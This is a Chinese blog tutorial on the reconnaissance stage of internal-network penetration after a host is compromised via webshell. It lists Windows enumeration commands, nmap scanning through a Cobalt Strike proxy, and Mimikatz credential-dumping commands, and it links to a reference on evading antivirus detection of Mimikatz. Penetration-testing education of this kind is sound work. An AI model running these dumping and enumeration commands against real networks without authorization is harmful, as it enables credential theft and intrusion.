当前位置: 首页 > news >正文

内网渗透-信息收集篇

通过webshell或其他方式拿下一台机器,并且存在内网环境,这个时候就在准备进行内网渗透,而在内网渗透之前需要对本地机器进行信息收集,才能够更好的进行内网渗透。

目录

Windows本地基础信息收集

权限查看

判断域存在

查看防火墙状态

计算机基础信息

扫描网段

使用脚本扫描

nmap扫描

cs、msf扫描网段

WMIC信息收集

抓取密码

Mimikatz抓取密码


Windows本地基础信息收集

权限查看

判断是否在内网渗透之前进行提权。

whoami /all

判断域存在

可以利用/domain命令判断是否存在域。可以联合net user 用户 /domain查询用户的详细信息,且判断是否存在域,不存在域会报错。

net user 用户名 /domain
  • 用户名
  • 全名(如果有设置)
  • 描述
  • 密码信息(是否需要更改密码、密码过期等)
  • 上次设置密码的时间
  • 账户激活状态
  • 账户过期时间
  • 用户所属组(本地和全局组)
  • 上次登录时间

 其他命令:

net view /domain #不存在域报错
ipconfig /all  #判断存在域,看DNS后缀
systeminfo #会列出所处的域
net config workstation #查看"工作站域"中显示 登录组 还是 域,是域的话会显示你登录的域名

 定位域控主机

ping 域名
nslookup 域名

查看防火墙状态

netsh advfirewall show allprofiles

计算机基础信息

  • 系统信息:检查操作系统的详细配置信息,判断是否有可以利用的操作系统版本、补丁。
systeminfo
  • 进程情况:可以通过进程列表判断是否存在杀软
tasklist
  • 软件安装情况:查看是否有第三方工具可以进一步留后门或提权
#建议使用wmic工具,速度快
wmic product get name,version
#更详细
wmic product list brief | more
  • 计划任务:可能会看到一些敏感信息,比如需要对某些机器进行交互可能会看到密码之类的定时脚本任务等
schtasks
  • 网络连接情况:可能会发现内网数据库连接之类的情况
netstat -ano

扫描网段

使用脚本扫描

可以自写脚本或者利用网上已有的扫描脚本进行扫描。php,python,perl,ruby,java,c等程序都可以用来做端口扫描,同时还可以使用bat或者shell脚本来做扫描。

#!/usr/bin/env pythonimport socketdef get_ip_status(ip,port):server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:server.connect((ip,port))print('{0} port {1} is open'.format(ip, port))except Exception as err:print('{0} port {1} is not open'.format(ip,port))finally:server.close()if __name__ == '__main__':host = '10.0.0.1'for port in range(20,100):get_ip_status(host,port)

nmap扫描

关于利用nmap扫描首先可以通过webshell上传nmap到目标机

#扫描内网有多少主机在线
nmap -sP ip
#端口扫描
nmap ip

在上传不了nmap的情况下也可以通过代理不上传远程使用nmap

比如利用CS代理+proxychains+nmap进行内网扫描:CS开启socks4代理(只能使用tcp协议),所以使用nmap时要使用-sT命令选择tcp协议,要使用-Pn不使用ICMP的ping确认主机存活。

#CS开启socks协议
socks 监听端口
#在攻击机上进行nmap代理扫描
proxychains nmap -sT-Pn ip

分块(f)、时间延迟(delay)、指定已知端口扫描、、、、

cs、msf扫描网段

cs、msf都是常见的内网渗透利用工具,有专门的模块进行端口扫描。

WMIC信息收集

上述的基础信息也可以通过wmic来进行信息收集,wmic是Windows系统自带的功能,负责管理Windows系统的方法和功能。

#检索系统已安装的软件
wmic product list brief | more
或者
wmic product get name,version#检索系统运行的服务
wmic service list brief | more#搜索查看进程信息
wmic process list brief | more#搜索启动程序
wmic startup list brief | more
或者
wmic startup get command,caption#搜索共享驱动盘
wmic netuse list brief | more#搜索用户账户
wmic useraccount list brief | more#搜索计算机域控制器
wmic ntdomain list brief#搜索登录用户
wmic logon list brief | more#搜索已安装的安全更新
wmic qfe list brief | more

抓取密码

Mimikatz抓取密码

 Mimikatz是一款用于提取Windows系统中用户凭据的开源工具。

Mimikatz原理:Mimikatz通过逆向获取存储在lsass.exe进程中的明文登录密码。(lsass.exe用于微软Windows系统的安全机制,它用于本地安全和登录策略)。首先使用Mimikatz抓取时必须是管理员权限,在Win10、Win11、Win2012等版本中,系统会开启LSA保护,明文密码字段会显示null。

这里另外提提有关lsass.exe的本地身份认证过程:

首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登录界面,也就是输入框界面,接收用户的输入信息后,将密码交给lsass进程,这个过程中会存一份明文密码,然后将明文密码加密成ntlm hash值,对SAM数据库(SAM数据库包含所有组、账户的信息,如密码hash、账户的SID等)进行比较认证。

#提权
privilege::debug
#抓取明文密码
sekurlsa::logonPasswords
#导出lsass.exe进程中所有的票据
sekurlsa::tickets /export#列出系统中的票据
kerberos::list
#清除系统中的票据
kerberos::purge
#导入票据到系统中
kerberos::ptc 票据路径#(在域控上执行)读取所有域用户的哈希
lsadump::lsa /patch
#从sam.hive和system.hive文件中获得NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive
#从本地SAM文件中读取密码哈希
token::elevate
lsadump::sam

其实获取本地数据库信息的方法有很多种,比如除了Mimikatz抓取,还可以使用pwdump、powershell抓取。

由于Mimikatz的强大,各大系统对于Mimikatz的防护也是越来越强大,可以去了解一下关于Mimikatz的免杀,参考文章Mimikatz的使用及免杀方向(过360,火狐和WindowsDefinder) - 渗透测试中心 - 博客园


http://www.mrgr.cn/news/67035.html

相关文章:

  • 高效率的快捷回复软件 —— 客服宝聊天助手
  • 关于Android Studio Koala Feature Drop | 2024.1.2下载不了插件的解决办法
  • vue2和vue3在html中引用组件component方式不一样
  • Jupyter lab 打开时默认使用 Notebook 而不是浏览器
  • window10解决 docker is starting 问题
  • 数据结构——二叉树(续集)
  • 输入/输出系统
  • 呼叫中心如何安排用户回访?
  • 编译工具与文件学习(一)-YAML、repos、vcstoolcolcon
  • NoSQL基础知识总结
  • xftp连接中不成功 + sudo vim 修改sshd_config不成功的解决方法
  • Linux 高级IO
  • sqli-labs(第三关)
  • 全流程揭秘:如何打造一个虚拟3D展厅?
  • memcache redis区别
  • 支持向量机相关证明 解的稀疏性
  • 如何解决反向代购业务中的物流难题?
  • 拦截器获取controller上的自定义注解
  • 代码随想录 | Day38 | 动态规划 :01背包应用 目标和一和零
  • LeetCode:3254. 长度为 K 的子数组的能量值 I(模拟 Java)
  • 登录注册窗口(一)
  • 【IC验证面试常问问题-2】
  • 【网络】数据链路层
  • 【科普笔记】——什么是环境变量
  • Spark的Standalone集群环境安装
  • 遥感图像数字处理 - 1